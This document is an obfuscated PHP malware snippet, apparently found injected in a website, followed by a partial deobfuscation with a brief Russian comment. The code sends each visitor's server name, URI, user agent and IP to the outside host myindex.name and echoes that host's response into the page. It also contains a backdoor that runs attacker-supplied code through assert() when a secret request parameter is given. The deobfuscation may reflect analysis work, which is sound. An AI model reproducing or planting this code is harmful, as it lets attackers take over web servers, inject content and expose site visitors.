$GLOBALS['_388174767_']=Array(base64_decode('cHJlZ' .'19' .'tYXRjaA=='),base64_decode('ZmlsZV9nZXRfY29udGVudHM='),base64_decode('YXJy' .'YXlf' .'cmV2ZXJz' .'ZQ=='),base64_decode('' .'Z' .'nVuY3' .'Rpb25f' .'ZXhpc' .'3Rz'),base64_decode('Y' .'3' .'VybF9pbml0'),base64_decode('dXJsZW5jb2Rl'),base64_decode('dX' .'J' .'sZ' .'W5j' .'b2R' .'l'),base64_decode('bWQ1'),base64_decode('' .'Y3' .'Vyb' .'F9' .'zZXRvcHQ='),base64_decode('' .'Y3V' .'y' .'bF' .'9' .'zZ' .'XRv' .'cHQ='),base64_decode('Y' .'3' .'V' .'ybF9leG' .'Vj'),base64_decode('' .'YX' .'J' .'y' .'YXlfZGlmZ' .'l91a' .'2V' .'5'),base64_decode('Y3VybF' .'9jbG9' .'zZQ=='),base64_decode('aW' .'5p' .'X2dldA=='),base64_decode('Z' .'mlsZ' .'V9nZXRf' .'Y29udGV' .'u' .'dHM='),base64_decode('' .'d' .'X' .'JsZW' .'5jb' .'2R' .'l'),base64_decode('dX' .'J' .'sZW5jb' .'2Rl'),base64_decode('b' .'WQ' .'1'),base64_decode('Y' .'XNzZX' .'J0'));  function _801666531($i){$a=Array('Y2xp' .'ZW50X2NoZWNr','Y2xp' .'ZW5' .'0X2N' .'oZWN' .'r','SFRUUF9' .'BQ0NFU' .'F' .'R' .'fQ0hBU' .'l' .'NFV' .'A=' .'=','IS4hdQ==','U0NSSVBUX0ZJTEVOQU1' .'F','VVRGLTg=','' .'d' .'2' .'l' .'uZ' .'G93' .'cy' .'0' .'xMjUx','SFRUUF9BQ0NFUFRfQ' .'0hBUl' .'NFVA==','' .'Y3Vy' .'bF9pbml0','' .'aHR0cDo' .'vL2' .'15a' .'W5kZXg' .'u' .'bmFtZ' .'S9n' .'ZXQ' .'ucGhwP2Q9','U' .'0' .'VSV' .'kVSX05BTUU=','UkVRVUVTVF' .'9VUk' .'k=','JnU9','SFR' .'UUF' .'9VU0VSX0FHR' .'U' .'5U','JmM' .'9','Jm' .'k' .'9' .'MSZpcD0=','UkVNT1R' .'FX0FERFI=','Jm' .'g9','' .'N' .'DUxN' .'mI3NDdhNzc4ZGI2ZTFjN' .'zQ' .'0Y' .'W' .'E3YWY3M2E' .'zNTU=','U0V' .'SVkVSX0' .'5BTUU=','UkVRVU' .'VTVF9VUkk=','SFRUUF' .'9' .'VU0VSX0FHRU5U','MQ' .'==','aA==','YWxsb' .'3dfdXJsX2Zv' .'c' .'GVu','aHR0c' .'DovL215' .'aW' .'5kZXgubm' .'FtZS9nZ' .'XQu' .'cGhwP2' .'Q9','' .'U0VSVkVSX05BTU' .'U' .'=','UkVRVUVTVF9V' .'U' .'kk=','Jn' .'U9','SFRUUF9VU0V' .'SX0FHRU5U','JmM9','Jmk9MSZpc' .'D0=','UkVNT1RFX0FER' .'FI=','Jmg9','' .'NDUxNmI3' .'NDdhN' .'z' .'c4Z' .'GI2ZT' .'FjNzQ0YWE3YWY3M2E' .'zNTU=','' .'U' .'0VSVkV' .'SX0' .'5BT' .'U' .'U=','UkVRVUVTVF' .'9VUkk' .'=','SFRU' .'UF' .'9VU0V' .'SX0' .'FHRU' .'5U','MQ==','' .'cA==','cA==','ODJlZDM1N2E' .'=','Yw==');return base64_decode($a[$i]);}  if(!empty($_COOKIE[_801666531(0)]))die($_COOKIE[_801666531(1)]);if(!isset($icb2d_0[_801666531(2)])){if($GLOBALS['_388174767_'][0](_801666531(3),$GLOBALS['_388174767_'][1]($_SERVER[_801666531(4)]))){$icb2d_1=_801666531(5);}else{$icb2d_1=_801666531(6);}}else{$icb2d_1=$icb2d_0[_801666531(7)];while(round(0+419+419+419+419)-round(0+335.2+335.2+335.2+335.2+335.2))$GLOBALS['_388174767_'][2]($_COOKIE);}if($GLOBALS['_388174767_'][3](_801666531(8))){$icb2d_2=$GLOBALS['_388174767_'][4](_801666531(9) .$GLOBALS['_388174767_'][5]($_SERVER[_801666531(10)] .$_SERVER[_801666531(11)]) ._801666531(12) .$GLOBALS['_388174767_'][6]($_SERVER[_801666531(13)]) ._801666531(14) .$icb2d_1 ._801666531(15) .$_SERVER[_801666531(16)] ._801666531(17) .$GLOBALS['_388174767_'][7](_801666531(18) .$_SERVER[_801666531(19)] .$_SERVER[_801666531(20)] .$_SERVER[_801666531(21)] .$icb2d_1 ._801666531(22)));$GLOBALS['_388174767_'][8]($icb2d_2,round(0+8.4+8.4+8.4+8.4+8.4),false);$GLOBALS['_388174767_'][9]($icb2d_2,round(0+19913),true);echo $GLOBALS['_388174767_'][10]($icb2d_2);while(round(0+2023+2023)-round(0+809.2+809.2+809.2+809.2+809.2))$GLOBALS['_388174767_'][11]($_REQUEST,$icb2d_2);$GLOBALS['_388174767_'][12]($icb2d_2);$icb2d_3=_801666531(23);}elseif($GLOBALS['_388174767_'][13](_801666531(24))==round(0+1)){echo $GLOBALS['_388174767_'][14](_801666531(25) .$GLOBALS['_388174767_'][15]($_SERVER[_801666531(26)] .$_SERVER[_801666531(27)]) ._801666531(28) .$GLOBALS['_388174767_'][16]($_SERVER[_801666531(29)]) ._801666531(30) .$icb2d_1 ._801666531(31) .$_SERVER[_801666531(32)] ._801666531(33) .$GLOBALS['_388174767_'][17](_801666531(34) .$_SERVER[_801666531(35)] .$_SERVER[_801666531(36)] .$_SERVER[_801666531(37)] .$icb2d_1 ._801666531(38)));}if(isset($_REQUEST[_801666531(39)])&& $_REQUEST[_801666531(40)]== _801666531(41)){@$GLOBALS['_388174767_'][18]($_REQUEST[_801666531(42)]);}

$GLOBALS['_388174767_']=Array(preg_match,file_get_contents,array_reverse,function_exists,curl_init,urlenco
de,urlencode,md5,curl_setopt,curl_setopt,file_get_contents)
Дальше идет запрос к функции :
function _801666531($i){$a=Array(client_checkclient_checkHTTP_ACCEPT_CHARSET!.!uSCRIPT_FILENAMEUTF-8windows-1251HTTP_ACCEPT_CHARSETcurl_inithttp://myindex.name/get.php?d=SERVER_NAMEREQUEST_URI&u=HTTP_USER_AGENT&c=&i=1&ip=REMOTE_ADDR&h=4516b747a778db6e1c744aa7af73a355SERVER_NAMEREQUEST_URIHTTP_USER_AGENT1hall
ow_url_fopenhttp://myindex.name/get.php?d=SERVER_NAMEREQUEST_URI&u=HTTP_USER_AGENT&c=&i=1&ip=REMOTE_ADDR&h=4516b747a778db6e1c744aa7af73a355SERVER_NAMEREQUEST_URIHTTP_USER_AGENT1pp82
ed357ac);return base64_decode($a[$i]);}